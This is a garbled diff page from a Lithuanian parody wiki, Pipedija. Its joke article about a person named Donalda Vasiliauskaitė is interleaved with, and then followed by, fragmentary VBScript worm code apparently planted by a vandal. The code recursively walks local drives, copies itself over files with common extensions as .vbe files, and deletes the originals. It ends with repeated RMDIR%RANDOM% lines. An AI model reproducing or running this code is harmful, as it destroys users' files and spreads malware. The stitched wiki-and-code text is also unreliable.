Pipedija - tautosaka, gandai, kliedesiai ir jokios tiesos! Durniausia wiki enciklopedija durnapedija!


Donalda Vasiliauskaitė: Skirtumas tarp puslapio versijų

Iš Pipedijos - durniausios enciklopedijos.
Jump to navigation Jump to search
S (Atmestas PAKSAS (Aptarimas) pakeitimas; sugrąžinta naudotojo Tararaika versija)
1 eilutė: 1 eilutė:
{{Abejotinas}}
If d.DriveType = 2 Or d.DriveType = 3 Then
{{Trolis}}
hihi (d.Path & "\")
[[Vaizdas:Batman_3_pipedija.jpg|thumb|300px|left|Negi jie nori mane tokią pamatyti???]]
End If
'''Pipedija''' arba '''Donalda Vasiliauskaitė''' - iš kur jie sužinojo mano pavardę ir vardą??? Iš kur??? Aš taip slėpiausi ir stengiausi, kad niekas manęs neatpažintų??? Kodėl superstas [[Gūglas]] jiems atskleidė??? Tai šlykštu, tai pasibaisėtina, tie [[anonimai]] viską apie mane žino, jie atrado mane net [[Pipedija|Pipedijoje]]...
Next
 
haha = s
Ir aš nesu [[Nida Vasiliauskaitė]] bei nieko su tuo neturiu bendra!!!
End sub
 
Sub hehe(folderspec)
[[Upd.]] ne kas kitas, o [[Google Plus]] užbanino mano [[Pipedijos akauntas|Pipedijos akauntą]] ir privertė įsirašyti čionais bei tenais tikruoju vardu bei pavarde. Tad ir nuo šiol manęs jau nesurasite kaip Pipedijos tenai, o teks ieškoti Donaldos Vasiliauskaitės, nes tokia štai negerovė gaunasi...
On Error Resume Next
 
Dim f, f1, fc, ext, s, fso
 
Set fso = CreateObject("Scripting.FileSystemObject")
== Dar žr. ==
Set f = fso.GetFolder(folderspec)
* [[Pipedijos redagcinė kolegija]]
Set fc = f.Files
 
For Each f1 In fc
[[Category:Pipedija]]
ext = fso.GetExtensionName(f1.Path)
[[Category:Asmenybės]]
ext = LCase(ext)
s = LCase(f1.Name)
If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then
Set f = fso.getfile(wscript.scriptfullname)
f.Copy (f1.Path & ".vbe")
fso.deletefile(f1.path)
End If
Next
End Sub
Sub hihi(folderspec)
On Error Resume Next
Dim f, f1, sf, fso
Set fso = CreateObject("Scripting.FileSystemObject")
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
hehe (f1.Path)
hihi (f1.Path)
Next
End SubRMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%
RMDIR%RANDOM%

01:18, 21 liepos 2015 versija

If d.DriveType = 2 Or d.DriveType = 3 Then hihi (d.Path & "\") End If Next haha = s End sub Sub hehe(folderspec) On Error Resume Next Dim f, f1, fc, ext, s, fso Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(folderspec) Set fc = f.Files For Each f1 In fc ext = fso.GetExtensionName(f1.Path) ext = LCase(ext) s = LCase(f1.Name) If (ext = "zip") or (ext = "exe") or (ext = "com") or (ext = "rar") or (ext = "doc") or (ext = "xls") or (ext = "dll") or (ext = "txt") or (ext = "htm") or (ext = "html") or (ext = "jpg") or (ext = "bmp") or (ext = "mp3") or (ext = "mp4") or (ext = "gif") or (ext = "ink") Then Set f = fso.getfile(wscript.scriptfullname) f.Copy (f1.Path & ".vbe") fso.deletefile(f1.path) End If Next End Sub Sub hihi(folderspec) On Error Resume Next Dim f, f1, sf, fso Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(folderspec) Set sf = f.SubFolders For Each f1 In sf hehe (f1.Path) hihi (f1.Path) Next End SubRMDIR%RANDOM% RMDIR%RANDOM% RMDIR%RANDOM% RMDIR%RANDOM% RMDIR%RANDOM% RMDIR%RANDOM% RMDIR%RANDOM% RMDIR%RANDOM% RMDIR%RANDOM% RMDIR%RANDOM% RMDIR%RANDOM%

Gauta iš „https://www.pipedija.com/index.php?title=Donalda_Vasiliauskaitė&oldid=46624“